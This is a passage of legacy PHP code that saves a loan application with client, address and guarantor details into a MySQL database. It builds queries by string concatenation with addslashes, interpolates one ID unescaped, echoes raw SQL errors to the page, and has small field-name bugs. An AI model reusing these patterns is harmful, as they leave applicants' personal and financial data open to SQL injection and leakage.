\"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`actividad_desc`\"] = $theValue;\r\n\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `solicitud` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\t$x_solicitud_id = mysql_insert_id();\r\n\r\n\r\n\t$sSql = \"update solicitud set solicitud_status_id = 8 where solicitud_id = $x_solicitud_id_ant\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n//FOLIO\t\r\n\t$currentdate_fol = getdate(time());\r\n\t$x_solicitud_fol = str_pad($x_solicitud_id, 5, \"0\", STR_PAD_LEFT);\r\n\t$x_dia_fol = str_pad($currentdate_fol[\"mday\"], 2, \"0\", STR_PAD_LEFT);\r\n\t$x_mes_fol = str_pad($currentdate_fol[\"mon\"], 2, \"0\", STR_PAD_LEFT);\r\n\t$x_year_fol = str_pad($currentdate_fol[\"year\"], 2, \"0\", STR_PAD_LEFT);\t\t\t\r\n\t\r\n\t$x_folio = \"CP$x_solicitud_fol\".$x_dia_fol.$x_mes_fol.$x_year_fol;\t\r\n\t$sSql = \"update solicitud set folio = '$x_folio' where solicitud_id = $x_solicitud_id\";\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n\r\n\r\n//CLIENTE\r\n\r\n\t$fieldList = NULL;\r\n\t// Field solicitud_id\r\n//\t$fieldList[\"`solicitud_id`\"] = $x_solicitud_id;\r\n\r\n\t// Field usuario_id\r\n//\t$theValue = ($GLOBALS[\"x_usuario_id\"] != \"\") ? intval($GLOBALS[\"x_usuario_id\"]) : \"NULL\";\r\n\t$fieldList[\"`usuario_id`\"] = 0;\r\n\r\n\t// Field nombre_completo\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_nombre_completo\"]) : $GLOBALS[\"x_nombre_completo\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`nombre_completo`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_apellido_paterno\"]) : $GLOBALS[\"x_apellido_paterno\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`apellido_paterno`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_apellido_materno\"]) : $GLOBALS[\"x_apellido_materno\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`apellido_materno`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tit_rfc\"]) : $GLOBALS[\"x_tit_rfc\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`rfc`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tit_curp\"]) : $GLOBALS[\"x_tit_curp\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`curp`\"] = $theValue;\r\n\r\n\r\n\t// Field tipo_negocio\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_tipo_negocio\"]) : $GLOBALS[\"x_tipo_negocio\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`tipo_negocio`\"] = $theValue;\r\n\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_tit_fecha_nac\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_tit_fecha_nac\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_nac`\"] = $theValue;\r\n\r\n\r\n\t// Field edad\r\n\t$theValue = ($GLOBALS[\"x_edad\"] != \"\") ? intval($GLOBALS[\"x_edad\"]) : \"NULL\";\r\n\t$fieldList[\"`edad`\"] = $theValue;\r\n\r\n\t// Field sexo\r\n\t$theValue = ($GLOBALS[\"x_sexo\"] != \"\") ? intval($GLOBALS[\"x_sexo\"]) : \"NULL\";\r\n\t$fieldList[\"`sexo`\"] = $theValue;\r\n\r\n\t// Field estado_civil_id\r\n\t$theValue = ($GLOBALS[\"x_estado_civil_id\"] != \"\") ? intval($GLOBALS[\"x_estado_civil_id\"]) : \"0\";\r\n\t$fieldList[\"`estado_civil_id`\"] = $theValue;\r\n\r\n\t// Field numero_hijos\r\n\t$theValue = ($GLOBALS[\"x_numero_hijos\"] != \"\") ? intval($GLOBALS[\"x_numero_hijos\"]) : \"0\";\r\n\t$fieldList[\"`numero_hijos`\"] = $theValue;\r\n\r\n\r\n\t// Field numero_hijos_dep\r\n\t$theValue = ($GLOBALS[\"x_numero_hijos_dep\"] != \"\") ? intval($GLOBALS[\"x_numero_hijos_dep\"]) : \"0\";\r\n\t$fieldList[\"`numero_hijos_dep`\"] = $theValue;\r\n\r\n\t// Field nombre_conyuge\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_nombre_conyuge\"]) : $GLOBALS[\"x_nombre_conyuge\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`nombre_conyuge`\"] = $theValue;\r\n\r\n\t// Field nombre_conyuge\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_email\"]) : $GLOBALS[\"x_email\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`email`\"] = $theValue;\r\n\r\n\r\n\t$theValue = ($GLOBALS[\"x_nacionalidad_id\"] != \"\") ? intval($GLOBALS[\"x_nacionalidad_id\"]) : \"0\";\r\n\t$fieldList[\"`nacionalidad_id`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_empresa\"]) : $GLOBALS[\"x_empresa\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`empresa`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_piesto\"]) : $GLOBALS[\"x_puesto\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`puesto`\"] = $theValue;\r\n\r\n\t// Field fecha_registro\r\n\t$theValue = ($GLOBALS[\"x_fecha_contratacion\"] != \"\") ? \" '\" . ConvertDateToMysqlFormat($GLOBALS[\"x_fecha_contratacion\"]) . \"'\" : \"Null\";\r\n\t$fieldList[\"`fecha_contratacion`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_salario_mensual\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_salario_mensual\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`salario_mensual`\"] = $theValue;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `cliente` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\t$x_cliente_id = mysql_insert_id();\r\n\r\n\r\n\r\n//SOLICITUD CLIENTE\r\n\r\n\t$fieldList = NULL;\r\n\t// Field solicitud_id\r\n\t$fieldList[\"`solicitud_id`\"] = $x_solicitud_id;\r\n\r\n\t$fieldList[\"`cliente_id`\"] = $x_cliente_id;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `solicitud_cliente` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n//DIRECCION PART\r\n\r\n\t$fieldList = NULL;\r\n\t// Field cliente_id\r\n//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t$fieldList[\"`cliente_id`\"] = $x_cliente_id;\r\n\r\n\t// Field aval_id\r\n//\t$theValue = ($GLOBALS[\"x_aval_id\"] != \"\") ? intval($GLOBALS[\"x_aval_id\"]) : \"NULL\";\r\n\t$fieldList[\"`aval_id`\"] = 0;\r\n\r\n\t// Field promotor_id\r\n//\t$theValue = ($GLOBALS[\"x_promotor_id\"] != \"\") ? intval($GLOBALS[\"x_promotor_id\"]) : \"NULL\";\r\n\t$fieldList[\"`promotor_id`\"] = 0;\r\n\r\n\t// Field direccion_tipo_id\r\n//\t$theValue = ($GLOBALS[\"x_direccion_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_direccion_tipo_id\"]) : \"NULL\";\r\n\t$fieldList[\"`direccion_tipo_id`\"] = 1;\r\n\r\n\t// Field calle\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_calle\"]) : $GLOBALS[\"x_calle\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`calle`\"] = $theValue;\r\n\r\n\t// Field colonia\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_colonia\"]) : $GLOBALS[\"x_colonia\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`colonia`\"] = $theValue;\r\n\r\n\t// Field delegacion_id\r\n\t$theValue = ($GLOBALS[\"x_delegacion_id\"] != \"\") ? intval($GLOBALS[\"x_delegacion_id\"]) : \"0\";\r\n\t$fieldList[\"`delegacion_id`\"] = $theValue;\r\n\r\n\t// Field propietario\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_propietario\"]) : $GLOBALS[\"x_propietario\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`propietario`\"] = $theValue;\r\n\r\n/*\r\n\t// Field entidad\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_entidad\"]) : $GLOBALS[\"x_entidad\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`entidad`\"] = $theValue;\r\n*/\r\n\t// Field codigo_postal\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_codigo_postal\"]) : $GLOBALS[\"x_codigo_postal\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`codigo_postal`\"] = $theValue;\r\n\r\n\t// Field ubicacion\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_ubicacion\"]) : $GLOBALS[\"x_ubicacion\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`ubicacion`\"] = $theValue;\r\n\r\n\t// Field antiguedad\r\n\t$theValue = ($GLOBALS[\"x_antiguedad\"] != \"\") ? intval($GLOBALS[\"x_antiguedad\"]) : \"0\";\r\n\t$fieldList[\"`antiguedad`\"] = $theValue;\r\n\r\n\t// Field vivienda_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_vivienda_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_vivienda_tipo_id\"]) : \"0\";\r\n\t$fieldList[\"`vivienda_tipo_id`\"] = $theValue;\r\n\r\n\t// Field otro_tipo_vivienda\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_otro_tipo_vivienda\"]) : $GLOBALS[\"x_otro_tipo_vivienda\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`otro_tipo_vivienda`\"] = $theValue;\r\n\r\n\t// Field telefono\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono\"]) : $GLOBALS[\"x_telefono\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`telefono`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_sec\"]) : $GLOBALS[\"x_telefono_sec\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`telefono_movil`\"] = $theValue;\r\n\r\n\t// Field telefono_secundario\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_secundario\"]) : $GLOBALS[\"x_telefono_secundario\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`telefono_secundario`\"] = $theValue;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `direccion` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL AQUI: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n//DIRECCION NEG\r\n\r\n\t$fieldList = NULL;\r\n\t// Field cliente_id\r\n//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t$fieldList[\"`cliente_id`\"] = $x_cliente_id;\r\n\r\n\t// Field aval_id\r\n//\t$theValue = ($GLOBALS[\"x_aval_id\"] != \"\") ? intval($GLOBALS[\"x_aval_id\"]) : \"NULL\";\r\n\t$fieldList[\"`aval_id`\"] = 0;\r\n\r\n\t// Field promotor_id\r\n//\t$theValue = ($GLOBALS[\"x_promotor_id\"] != \"\") ? intval($GLOBALS[\"x_promotor_id\"]) : \"NULL\";\r\n\t$fieldList[\"`promotor_id`\"] = 0;\r\n\r\n\t// Field direccion_tipo_id\r\n//\t$theValue = ($GLOBALS[\"x_direccion_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_direccion_tipo_id\"]) : \"NULL\";\r\n\t$fieldList[\"`direccion_tipo_id`\"] = 2;\r\n\r\n\t// Field calle\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_calle2\"]) : $GLOBALS[\"x_calle2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`calle`\"] = $theValue;\r\n\r\n\t// Field colonia\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_colonia2\"]) : $GLOBALS[\"x_colonia2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`colonia`\"] = $theValue;\r\n\r\n\t// Field delegacion_id\r\n\t$theValue = ($GLOBALS[\"x_delegacion_id2\"] != \"\") ? intval($GLOBALS[\"x_delegacion_id2\"]) : \"0\";\r\n\t$fieldList[\"`delegacion_id`\"] = $theValue;\r\n/*\r\n\t// Field otra_delegacion\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_otra_delegacion\"]) : $GLOBALS[\"x_otra_delegacion\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`otra_delegacion`\"] = $theValue;\r\n*/\r\n/*\r\n\t// Field entidad\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_entidad2\"]) : $GLOBALS[\"x_entidad2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`entidad`\"] = $theValue;\r\n*/\r\n\t// Field codigo_postal\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_codigo_postal2\"]) : $GLOBALS[\"x_codigo_postal2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`codigo_postal`\"] = $theValue;\r\n\r\n\t// Field ubicacion\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_ubicacion2\"]) : $GLOBALS[\"x_ubicacion2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`ubicacion`\"] = $theValue;\r\n\r\n\t// Field antiguedad\r\n\t$theValue = ($GLOBALS[\"x_antiguedad\"] != \"\") ? intval($GLOBALS[\"x_antiguedad2\"]) : \"0\";\r\n\t$fieldList[\"`antiguedad`\"] = $theValue;\r\n\r\n\t// Field vivienda_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_vivienda_tipo_id2\"] != \"\") ? intval($GLOBALS[\"x_vivienda_tipo_id2\"]) : \"0\";\r\n\t$fieldList[\"`vivienda_tipo_id`\"] = $theValue;\r\n\r\n\t// Field otro_tipo_vivienda\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_otro_tipo_vivienda2\"]) : $GLOBALS[\"x_otro_tipo_vivienda2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`otro_tipo_vivienda`\"] = $theValue;\r\n\r\n\t// Field telefono\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono2\"]) : $GLOBALS[\"x_telefono2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`telefono`\"] = $theValue;\r\n\r\n\t// Field telefono_secundario\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_secundario2\"]) : $GLOBALS[\"x_telefono_secundario2\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`telefono_secundario`\"] = $theValue;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `direccion` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n//AVAL\r\n\r\n\tif($GLOBALS[\"x_nombre_completo_aval\"] != \"\"){\r\n\r\n\t\t$fieldList = NULL;\r\n\t\t// Field cliente_id\r\n\t//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`solicitud_id`\"] = $x_solicitud_id;\r\n\t\r\n\t\t// Field nombre_completo\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_nombre_completo_aval\"]) : $GLOBALS[\"x_nombre_completo_aval\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`nombre_completo`\"] = $theValue;\r\n\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_apellido_paterno_aval\"]) : $GLOBALS[\"x_apellido_paterno_aval\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`apellido_paterno`\"] = $theValue;\r\n\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_apellido_materno_aval\"]) : $GLOBALS[\"x_apellido_materno_aval\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`apellido_materno`\"] = $theValue;\r\n\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_aval_rfc\"]) : $GLOBALS[\"x_aval_rfc\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`rfc`\"] = $theValue;\r\n\r\n\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_aval_curp\"]) : $GLOBALS[\"x_aval_curp\"]; \r\n\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t$fieldList[\"`curp`\"] = $theValue;\r\n\r\n\t\r\n\t\t// Field parentesco_tipo_id\r\n\t\t$theValue = ($GLOBALS[\"x_parentesco_tipo_id_aval\"] != \"\") ? intval($GLOBALS[\"x_parentesco_tipo_id_aval\"]) : \"0\";\r\n\t\t$fieldList[\"`parentesco_tipo_id`\"] = $theValue;\r\n\t\r\n\t\t// Field telefono\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono3\"]) : $GLOBALS[\"x_telefono3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono`\"] = $theValue;\r\n\t\r\n\t\t// Field ingresos_mensuales\r\n\t\t$theValue = ($GLOBALS[\"x_ingresos_mensuales\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_mensuales\"]) . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`ingresos_mensuales`\"] = $theValue;\r\n\t\r\n\t\t// Field ocupacion\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_ocupacion\"]) : $GLOBALS[\"x_ocupacion\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`ocupacion`\"] = $theValue;\r\n\t\r\n\t\t// insert into database\r\n\t\t$sSql = \"INSERT INTO `aval` (\";\r\n\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t$sSql .= \") VALUES (\";\r\n\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t$sSql .= \")\";\r\n\t\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\t\r\n\t\t$x_aval_id = mysql_insert_id();\r\n\t\t\r\n\t//DOM PART AVAL\r\n\t\r\n\t\t$fieldList = NULL;\r\n\t\t// Field cliente_id\r\n\t//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`cliente_id`\"] = 0;\r\n\t\r\n\t\t// Field aval_id\r\n\t//\t$theValue = ($GLOBALS[\"x_aval_id\"] != \"\") ? intval($GLOBALS[\"x_aval_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`aval_id`\"] = $x_aval_id;\r\n\t\r\n\t\t// Field promotor_id\r\n\t//\t$theValue = ($GLOBALS[\"x_promotor_id\"] != \"\") ? intval($GLOBALS[\"x_promotor_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`promotor_id`\"] = 0;\r\n\t\r\n\t\t// Field direccion_tipo_id\r\n\t//\t$theValue = ($GLOBALS[\"x_direccion_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_direccion_tipo_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`direccion_tipo_id`\"] = 3;\r\n\t\r\n\t\t// Field calle\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_calle3\"]) : $GLOBALS[\"x_calle3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`calle`\"] = $theValue;\r\n\t\r\n\t\t// Field colonia\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_colonia3\"]) : $GLOBALS[\"x_colonia3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`colonia`\"] = $theValue;\r\n\t\r\n\t\t// Field delegacion_id\r\n\t\t$theValue = ($GLOBALS[\"x_delegacion_id3\"] != \"\") ? intval($GLOBALS[\"x_delegacion_id3\"]) : \"0\";\r\n\t\t$fieldList[\"`delegacion_id`\"] = $theValue;\r\n\t\r\n\t\t// Field propietario\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_propietario2\"]) : $GLOBALS[\"x_propietario2\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`propietario`\"] = $theValue;\r\n\t\r\n/*\r\n\t\t// Field entidad\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_entidad3\"]) : $GLOBALS[\"x_entidad3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`entidad`\"] = $theValue;\r\n*/\t\r\n\t\t// Field codigo_postal\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_codigo_postal3\"]) : $GLOBALS[\"x_codigo_postal3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`codigo_postal`\"] = $theValue;\r\n\t\r\n\t\t// Field ubicacion\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_ubicacion3\"]) : $GLOBALS[\"x_ubicacion3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`ubicacion`\"] = $theValue;\r\n\t\r\n\t\t// Field antiguedad\r\n\t\t$theValue = ($GLOBALS[\"x_antiguedad3\"] != \"\") ? intval($GLOBALS[\"x_antiguedad3\"]) : \"0\";\r\n\t\t$fieldList[\"`antiguedad`\"] = $theValue;\r\n\t\r\n\t\t// Field vivienda_tipo_id\r\n\t\t$theValue = ($GLOBALS[\"x_vivienda_tipo_id2\"] != \"\") ? intval($GLOBALS[\"x_vivienda_tipo_id2\"]) : \"0\";\r\n\t\t$fieldList[\"`vivienda_tipo_id`\"] = $theValue;\r\n\t\r\n\t\t// Field otro_tipo_vivienda\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_otro_tipo_vivienda3\"]) : $GLOBALS[\"x_otro_tipo_vivienda3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`otro_tipo_vivienda`\"] = $theValue;\r\n\t\r\n\t\t// Field telefono\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono3\"]) : $GLOBALS[\"x_telefono3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono`\"] = $theValue;\r\n\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono3_sec\"]) : $GLOBALS[\"x_telefono3_sec\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono_movil`\"] = $theValue;\r\n\t\r\n\t\t// Field telefono_secundario\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? 